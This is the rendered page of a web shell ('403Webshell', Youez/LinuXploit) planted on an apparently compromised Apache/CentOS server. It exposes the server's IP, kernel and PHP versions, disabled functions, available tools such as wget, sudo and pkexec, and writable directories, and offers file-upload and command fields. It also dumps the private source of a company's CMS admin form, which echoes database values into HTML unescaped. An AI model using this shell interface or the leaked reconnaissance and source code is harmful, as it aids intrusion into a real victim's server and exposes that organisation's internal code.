403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)eizo.hkosl.com/global/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)eizo.hkosl.com/global/webadmin/series_modifyform.php
<?php
	include 'config.php';

	// Check if the user is logged in

	if ((!isSet($_SESSION['loginname'])) || ($loggin <> '1')) {
		header("Location: login.php");
		exit;
	}

	$series_id = (int)$_GET["series_id"];

	$sth1 = $dbh->prepare("SELECT * FROM series WHERE series_id=? ");
	$parameter = array($series_id);
	if (!$sth1->execute($parameter))
		throw new Exception('[' . $sth1->errorCode() . ']: ' . print_r($sth1->errorInfo()));

	$row = $sth1->fetch(PDO::FETCH_ASSOC);

	$sql99 = "SELECT * FROM sys_cms_login WHERE cmsloginid=?";
	$sth99 = $dbh->prepare($sql99);
	$sth99->execute(array((int)$row{'lastupby'}));
	$row99 = $sth99->fetch(PDO::FETCH_ASSOC);


	//check if this model has been record for a warranty
	$sql = "select * from customer_warranty warranty, series series, model model where series.series_id = model.series_id and warranty.model_code = model.model_code and warranty.series_code = series.series_code and model.series_id = ? and warranty.deleted = ?";
	if (!($sth = $dbh->prepare($sql))) {
		throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
	}

	if (!$sth->execute(array($series_id, "0"))) {
		throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
	}

	if($sth->rowCount() > 0){
		echo "<script>alert('This series already linked with some customer warranty.');</script>";
	}
?>
<html>
<head>
	<link rel="stylesheet" type="text/css" href="css/style.css"/>
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
	<title>Content Management System (CMS) - Powered by One Solution Limited</title>
</head>
<body>

<form action="series_modify.php" method="post" name="modifyform" enctype="multipart/form-data">
	<input type="hidden" name="series_id" value="<?= $row{'series_id'}; ?>">
	<table width="800" border="0" cellpadding="0" cellspacing="0">
		<tr>
			<td height="70" align="right" valign="middle" class="icontxt">
				<table border="0" cellpadding="0" cellspacing="0">
					<tr>
						<td width="50" align="center">
							<input type="image" alt="submit" src="images/iconSave.png" width="32" height="32" border="0"><br> &nbsp;Save&nbsp;&nbsp;
						</td>
						<td width="50" align="center">
							<a href="series_index.php?msg=Cancel"><img src="images/iconCancel.png" alt="Cancel" width="32" height="32" border="0"><br> &nbsp;Cancel&nbsp;&nbsp;
							</a></td>
						<td>&nbsp;</td>
					</tr>
				</table>
			</td>
		</tr>
		<tr>
			<td>
				<span style="float:left;" class="pagetitletxt">&nbsp;&nbsp;<b><img src="images/iconList.jpg" width="48" height="48" align="absmiddle"/> Modify: Product Model
					</b></span><span style="float:right;" class="msg">Last Update: <?= $row99{'cmsloginname'} . '&nbsp;&nbsp;&nbsp;' . $row{'lastupdate'}; ?></span>
			</td>
		</tr>
		<tr>
			<td align="left" valign="middle"><!-- Content -->
				<table border="0" cellpadding="0" cellspacing="0">

					<tr>
						<td width="120" align="right" valign="top" class='content'>Region</td>
						<td class='content' valign="top">:&nbsp;</td>
						<td class='content'>
							<input type="radio" class="content" name="region" value="CN" <?php if($row{"region"} == "CN") echo "checked"; ?> /><label>CN</label>
							<input type="radio" class="content" name="region" value="HK" <?php if($row{"region"} == "HK") echo "checked"; ?>/><label>HK</label>

							<br><br>
						</td>
					</tr>

					<tr>
						<td width="120" align="right" valign="top" class='content'>Series Code</td>
						<td class='content' valign="top">:&nbsp;</td>
						<td class='content'>
							<input type="text" class="content" name="series_code" size="80" maxlength="100" value="<?=$row{"series_code"}?>" /><br><span class="msg">Maxlength:100</span>
							<br><br>
						</td>
					</tr>

				</table>
			</td>
		</tr>
	</table>
</form>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit